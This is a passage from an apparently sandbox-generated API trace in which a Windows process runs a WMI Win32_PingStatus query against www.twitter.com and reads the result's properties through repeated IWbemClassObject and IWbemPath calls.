pToken=0x5bdebec | out: pToken=0x5bdebec) returned 0x0 [0160.248] CoGetContextToken (in: pToken=0x5bdeb4c | out: pToken=0x5bdeb4c) returned 0x0 [0160.248] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x5bdec1c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5bdeae8 | out: ppvObject=0x5bdeae8*=0x5958c0) returned 0x0 [0160.248] IUnknown:Release (This=0x5958c0) returned 0x2 [0160.248] WbemLocator:IUnknown:Release (This=0x5f76f30) returned 0x0 [0160.249] SysStringLen (param_1=0x0) returned 0x0 [0160.249] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef68 | out: puCount=0x5bdef68*=0x2) returned 0x0 [0160.249] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef64*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef64*=0xf, pszText=0x0) returned 0x0 [0160.249] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef64*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef64*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.249] CoGetContextToken (in: pToken=0x5bdedbc | out: pToken=0x5bdedbc) returned 0x0 [0160.249] IEnumWbemClassObject:Clone (in: This=0x5958c0, ppEnum=0x5bdef74 | out: ppEnum=0x5bdef74*=0x595988) returned 0x0 [0160.254] IUnknown:QueryInterface (in: This=0x595988, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee30 | out: ppvObject=0x5bdee30*=0x59598c) returned 0x0 [0160.254] IClientSecurity:QueryBlanket (in: This=0x59598c, pProxy=0x595988, pAuthnSvc=0x5bdee80, pAuthzSvc=0x5bdee7c, pServerPrincName=0x5bdee74, pAuthnLevel=0x5bdee78, pImpLevel=0x5bdee68, pAuthInfo=0x5bdee6c, pCapabilites=0x5bdee70 | out: pAuthnSvc=0x5bdee80*=0xa, pAuthzSvc=0x5bdee7c*=0x0, pServerPrincName=0x5bdee74, pAuthnLevel=0x5bdee78*=0x6, pImpLevel=0x5bdee68*=0x2, pAuthInfo=0x5bdee6c, pCapabilites=0x5bdee70*=0x1) returned 0x0 [0160.254] IUnknown:Release (This=0x59598c) returned 0x1 [0160.254] IUnknown:QueryInterface (in: This=0x595988, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee24 | out: ppvObject=0x5bdee24*=0x5c12dc) returned 0x0 [0160.254] IUnknown:QueryInterface (in: This=0x595988, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee10 | out: ppvObject=0x5bdee10*=0x59598c) returned 0x0 [0160.255] IClientSecurity:SetBlanket (This=0x59598c, pProxy=0x595988, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0160.257] IUnknown:Release (This=0x59598c) returned 0x2 [0160.257] WbemLocator:IUnknown:Release (This=0x5c12dc) returned 0x1 [0160.257] CoTaskMemFree (pv=0x5f6db98) [0160.258] IUnknown:AddRef (This=0x595988) returned 0x2 [0160.258] CoGetContextToken (in: pToken=0x5bde340 | out: pToken=0x5bde340) returned 0x0 [0160.258] CoGetContextToken (in: pToken=0x5bde754 | out: pToken=0x5bde754) returned 0x0 [0160.258] IUnknown:QueryInterface (in: This=0x595988, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde6ec | out: ppvObject=0x5bde6ec*=0x5c12c4) returned 0x0 [0160.258] WbemLocator:IRpcOptions:Query (in: This=0x5c12c4, pPrx=0x5f718f0, dwProperty=2, pdwValue=0x5bde7e0 | out: pdwValue=0x5bde7e0) returned 0x80004002 [0160.259] WbemLocator:IUnknown:Release (This=0x5c12c4) returned 0x2 [0160.259] CoGetContextToken (in: pToken=0x5bded24 | out: pToken=0x5bded24) returned 0x0 [0160.259] CoGetContextToken (in: pToken=0x5bdec84 | out: pToken=0x5bdec84) returned 0x0 [0160.259] IUnknown:QueryInterface (in: This=0x595988, riid=0x5bded54*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5bdec20 | out: ppvObject=0x5bdec20*=0x595988) returned 0x0 [0160.259] IUnknown:Release (This=0x595988) returned 0x2 [0160.259] SysStringLen (param_1=0x0) returned 0x0 [0160.259] IEnumWbemClassObject:Reset (This=0x595988) returned 0x0 [0160.261] CoTaskMemAlloc (cb=0x4) returned 0x5f852f0 [0160.261] IEnumWbemClassObject:Next (in: This=0x595988, lTimeout=-1, uCount=0x1, apObjects=0x5f852f0, puReturned=0x259d87c | out: apObjects=0x5f852f0*=0x5f6b230, puReturned=0x259d87c*=0x1) returned 0x0 [0160.279] IUnknown:QueryInterface (in: This=0x5f6b230, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde5cc | out: ppvObject=0x5bde5cc*=0x5f6b230) returned 0x0 [0160.280] IUnknown:QueryInterface (in: This=0x5f6b230, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde580 | out: ppvObject=0x5bde580*=0x0) returned 0x80004002 [0160.280] IUnknown:QueryInterface (in: This=0x5f6b230, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde3a8 | out: ppvObject=0x5bde3a8*=0x0) returned 0x80004002 [0160.280] IUnknown:AddRef (This=0x5f6b230) returned 0x3 [0160.280] IUnknown:QueryInterface (in: This=0x5f6b230, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddedc | out: ppvObject=0x5bddedc*=0x0) returned 0x80004002 [0160.280] IUnknown:QueryInterface (in: This=0x5f6b230, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bdde8c | out: ppvObject=0x5bdde8c*=0x0) returned 0x80004002 [0160.280] IUnknown:QueryInterface (in: This=0x5f6b230, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdde98 | out: ppvObject=0x5bdde98*=0x5f6b234) returned 0x0 [0160.280] IMarshal:GetUnmarshalClass (in: This=0x5f6b234, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5bddea0 | out: pCid=0x5bddea0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0160.280] IUnknown:Release (This=0x5f6b234) returned 0x3 [0160.280] CoGetContextToken (in: pToken=0x5bddef8 | out: pToken=0x5bddef8) returned 0x0 [0160.280] CoGetContextToken (in: pToken=0x5bde30c | out: pToken=0x5bde30c) returned 0x0 [0160.280] IUnknown:QueryInterface (in: This=0x5f6b230, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde38c | out: ppvObject=0x5bde38c*=0x0) returned 0x80004002 [0160.280] IUnknown:Release (This=0x5f6b230) returned 0x2 [0160.280] CoGetContextToken (in: pToken=0x5bde8f4 | out: pToken=0x5bde8f4) returned 0x0 [0160.281] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0160.281] IUnknown:QueryInterface (in: This=0x5f6b230, riid=0x5bde924*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5bde920 | out: ppvObject=0x5bde920*=0x5f6b230) returned 0x0 [0160.281] IUnknown:AddRef (This=0x5f6b230) returned 0x4 [0160.281] IUnknown:Release (This=0x5f6b230) returned 0x3 [0160.281] IUnknown:Release (This=0x5f6b230) returned 0x2 [0160.281] CoTaskMemFree (pv=0x5f852f0) [0160.281] CoGetContextToken (in: pToken=0x5bdec64 | out: pToken=0x5bdec64) returned 0x0 [0160.281] IUnknown:AddRef (This=0x5f6b230) returned 0x3 [0160.281] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bdef64*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bdefe4*=0, plFlavor=0x5bdefe0*=0 | out: pVal=0x5bdef64*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5bdefe4*=3, plFlavor=0x5bdefe0*=64) returned 0x0 [0160.282] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bdef48*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bdefcc*=0, plFlavor=0x5bdefc8*=0 | out: pVal=0x5bdef48*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x5bdefcc*=8, plFlavor=0x5bdefc8*=64) returned 0x0 [0160.282] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.282] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.282] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x508 [0160.282] SetEvent (hEvent=0x3f4) returned 1 [0160.282] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bdef20*=0x508, lpdwindex=0x5bded44 | out: lpdwindex=0x5bded44) returned 0x0 [0160.287] CoGetContextToken (in: pToken=0x5bdedf4 | out: pToken=0x5bdedf4) returned 0x0 [0160.287] CoGetContextToken (in: pToken=0x5bded54 | out: pToken=0x5bded54) returned 0x0 [0160.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x5bdee24*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bdee20 | out: ppvObject=0x5bdee20*=0x5df620) returned 0x0 [0160.287] WbemDefPath:IUnknown:AddRef (This=0x5df620) returned 0x3 [0160.287] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x2 [0160.287] WbemDefPath:IWbemPath:SetText (This=0x5df620, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0160.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdefa0 | out: puCount=0x5bdefa0*=0x2) returned 0x0 [0160.287] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef9c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef9c*=0xf, pszText=0x0) returned 0x0 [0160.287] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef9c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef9c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef08 | out: puCount=0x5bdef08*=0x2) returned 0x0 [0160.287] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef04*=0xf, pszText=0x0) returned 0x0 [0160.287] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.287] IWbemClassObject:Get (in: This=0x5f6b230, wszName="Address", lFlags=0, pVal=0x5bdef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e308*=0, plFlavor=0x259e30c*=0 | out: pVal=0x5bdef04*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x259e308*=8, plFlavor=0x259e30c*=0) returned 0x0 [0160.287] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.287] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.287] IWbemClassObject:Get (in: This=0x5f6b230, wszName="Address", lFlags=0, pVal=0x5bdef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e308*=8, plFlavor=0x259e30c*=0 | out: pVal=0x5bdef0c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x259e308*=8, plFlavor=0x259e30c*=0) returned 0x0 [0160.288] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.288] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.288] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef08 | out: puCount=0x5bdef08*=0x2) returned 0x0 [0160.288] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef04*=0xf, pszText=0x0) returned 0x0 [0160.288] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.288] IWbemClassObject:Get (in: This=0x5f6b230, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x5bdef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e3c4*=0, plFlavor=0x259e3c8*=0 | out: pVal=0x5bdef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e3c4*=19, plFlavor=0x259e3c8*=0) returned 0x0 [0160.288] IWbemClassObject:Get (in: This=0x5f6b230, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x5bdef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e3c4*=19, plFlavor=0x259e3c8*=0 | out: pVal=0x5bdef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e3c4*=19, plFlavor=0x259e3c8*=0) returned 0x0 [0160.288] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef08 | out: puCount=0x5bdef08*=0x2) returned 0x0 [0160.288] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef04*=0xf, pszText=0x0) returned 0x0 [0160.289] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.289] IWbemClassObject:Get (in: This=0x5f6b230, wszName="StatusCode", lFlags=0, pVal=0x5bdef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e458*=0, plFlavor=0x259e45c*=0 | out: pVal=0x5bdef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e458*=19, plFlavor=0x259e45c*=0) returned 0x0 [0160.289] IWbemClassObject:Get (in: This=0x5f6b230, wszName="StatusCode", lFlags=0, pVal=0x5bdef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e458*=19, plFlavor=0x259e45c*=0 | out: pVal=0x5bdef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e458*=19, plFlavor=0x259e45c*=0) returned 0x0 [0160.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0160.289] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0160.289] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.290] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e954*=0, plFlavor=0x259e958*=0 | out: pVal=0x5bdec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x259e954*=8, plFlavor=0x259e958*=64) returned 0x0 [0160.290] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.290] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.290] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e954*=8, plFlavor=0x259e958*=64 | out: pVal=0x5bdec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x259e954*=8, plFlavor=0x259e958*=64) returned 0x0 [0160.290] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.290] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0160.290] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0160.290] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.290] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e9f0*=0, plFlavor=0x259e9f4*=0 | out: pVal=0x5bdec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x259e9f0*=8, plFlavor=0x259e9f4*=64) returned 0x0 [0160.290] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.290] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.290] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259e9f0*=8, plFlavor=0x259e9f4*=64 | out: pVal=0x5bdec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x259e9f0*=8, plFlavor=0x259e9f4*=64) returned 0x0 [0160.290] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.290] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.291] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0160.291] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0160.291] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.291] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__Derivation", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259eb4c*=0, plFlavor=0x259eb50*=0 | out: pVal=0x5bdec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6db48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f853d0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x259eb4c*=8200, plFlavor=0x259eb50*=64) returned 0x0 [0160.291] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__Derivation", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259eb4c*=8200, plFlavor=0x259eb50*=64 | out: pVal=0x5bdec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dc68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f853d0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x259eb4c*=8200, plFlavor=0x259eb50*=64) returned 0x0 [0160.291] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0160.291] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0160.291] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.292] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259edb4*=0, plFlavor=0x259edb8*=0 | out: pVal=0x5bdec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x259edb4*=8, plFlavor=0x259edb8*=64) returned 0x0 [0160.292] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.292] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.292] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259edb4*=8, plFlavor=0x259edb8*=64 | out: pVal=0x5bdec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x259edb4*=8, plFlavor=0x259edb8*=64) returned 0x0 [0160.292] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.292] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.292] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0160.292] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0160.292] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.292] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__Derivation", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259eedc*=0, plFlavor=0x259eee0*=0 | out: pVal=0x5bdec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6db48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f853d0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x259eedc*=8200, plFlavor=0x259eee0*=64) returned 0x0 [0160.293] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__Derivation", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259eedc*=8200, plFlavor=0x259eee0*=64 | out: pVal=0x5bdec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dc68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f853d0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x259eedc*=8200, plFlavor=0x259eee0*=64) returned 0x0 [0160.294] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0160.294] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde87c*=0xf, pszText=0x0) returned 0x0 [0160.294] 